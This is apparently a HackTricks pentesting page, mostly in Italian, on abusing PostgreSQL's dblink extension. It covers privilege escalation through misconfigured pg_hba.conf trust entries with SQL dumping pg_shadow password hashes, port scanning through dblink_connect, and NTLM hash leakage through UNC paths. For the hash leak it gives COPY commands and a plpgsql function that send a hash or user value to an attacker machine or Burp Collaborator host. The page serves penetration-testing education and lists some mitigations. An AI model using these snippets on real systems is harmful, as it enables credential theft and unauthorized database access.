Network - Privesc, Port Scanner and NTLM chanllenge response disclosure

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Trova ulteriori informazioni su questi attacchi nel documento originale.

Dal PostgreSQL 9.1, l'installazione di moduli aggiuntivi è semplice. Le estensioni registrate come dblink possono essere installate con CREATE EXTENSION:

CREATE EXTENSION dblink;

Una volta caricato dblink, potresti essere in grado di eseguire alcuni trucchi interessanti:

Escalation dei privilegi

Il file pg_hba.conf potrebbe essere configurato in modo errato consentendo connessioni da localhost come qualsiasi utente senza la necessità di conoscere la password. Questo file di solito si trova in /etc/postgresql/12/main/pg_hba.conf e una configurazione errata appare come:

local    all    all    trust

Nota che questa configurazione è comunemente utilizzata per modificare la password di un utente del database quando l'amministratore la dimentica, quindi a volte potresti trovarla. Nota anche che il file pg_hba.conf è leggibile solo dall'utente e dal gruppo postgres e scrivibile solo dall'utente postgres.

Questo caso è utile se hai già una shell all'interno della vittima in quanto ti permetterà di connetterti al database postgresql.

Un'altra possibile errata configurazione consiste in qualcosa del genere:

host    all     all     127.0.0.1/32    trust

Poiché ciò consentirà a chiunque in locale di connettersi al database come qualsiasi utente. In questo caso e se la funzione dblink funziona, è possibile elevare i privilegi connettendosi al database tramite una connessione già stabilita e accedere a dati a cui non si dovrebbe avere accesso:

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

Scansione delle porte

Sfruttando dblink_connect, è possibile ricercare le porte aperte. Se tale funzione non funziona, dovresti provare a utilizzare dblink_connect_u() poiché la documentazione afferma che dblink_connect_u() è identico a dblink_connect(), tranne che consente a utenti non super di connettersi utilizzando qualsiasi metodo di autenticazione.

SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

Nota che prima di poter utilizzare dblink_connect o dblink_connect_u potresti dover eseguire:

CREATE extension dblink;

Percorso UNC - Divulgazione dell'hash NTLM

In some cases, it is possible to disclose the NTLM hash of a user by using a UNC path. This technique can be useful for privilege escalation or lateral movement within a network.

In alcuni casi, è possibile divulgare l'hash NTLM di un utente utilizzando un percorso UNC. Questa tecnica può essere utile per l'escalation dei privilegi o per il movimento laterale all'interno di una rete.

NTLM Challenge-Response Protocol

The NTLM Challenge-Response protocol is used for authentication in Windows environments. When a user attempts to access a resource, the server sends a challenge to the client. The client then encrypts the challenge using the user's NTLM hash and sends the encrypted response back to the server for verification.

Il protocollo NTLM Challenge-Response viene utilizzato per l'autenticazione negli ambienti Windows. Quando un utente tenta di accedere a una risorsa, il server invia una sfida al client. Il client quindi crittografa la sfida utilizzando l'hash NTLM dell'utente e invia la risposta crittografata al server per la verifica.

NTLM Hash Disclosure via UNC Path

When a user accesses a file or folder on a remote server using a UNC path, the client sends the server its NTLM hash as part of the authentication process. This is done automatically by the operating system.

Quando un utente accede a un file o a una cartella su un server remoto utilizzando un percorso UNC, il client invia al server il suo hash NTLM come parte del processo di autenticazione. Questo viene fatto automaticamente dal sistema operativo.

To exploit this behavior, an attacker can set up a malicious server that logs the NTLM hashes of connecting clients. By tricking a user into accessing a file or folder on the attacker's server using a UNC path, the attacker can capture the user's NTLM hash.

Per sfruttare questo comportamento, un attaccante può configurare un server malevolo che registra gli hash NTLM dei client connessi. Ingannando un utente affinché acceda a un file o a una cartella sul server dell'attaccante utilizzando un percorso UNC, l'attaccante può catturare l'hash NTLM dell'utente.

Protection and Mitigation

To protect against NTLM hash disclosure via UNC path, it is recommended to:

  • Disable the use of NTLM authentication and use more secure protocols like Kerberos.

  • Implement strong password policies to make it harder for attackers to crack the NTLM hashes.

  • Educate users about the risks of accessing files or folders on untrusted servers using UNC paths.

Per proteggersi dalla divulgazione dell'hash NTLM tramite percorso UNC, si consiglia di:

  • Disabilitare l'uso dell'autenticazione NTLM e utilizzare protocolli più sicuri come Kerberos.

  • Implementare politiche di password robuste per rendere più difficile agli attaccanti il cracking degli hash NTLM.

  • Informare gli utenti sui rischi di accedere a file o cartelle su server non attendibili utilizzando percorsi UNC.

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated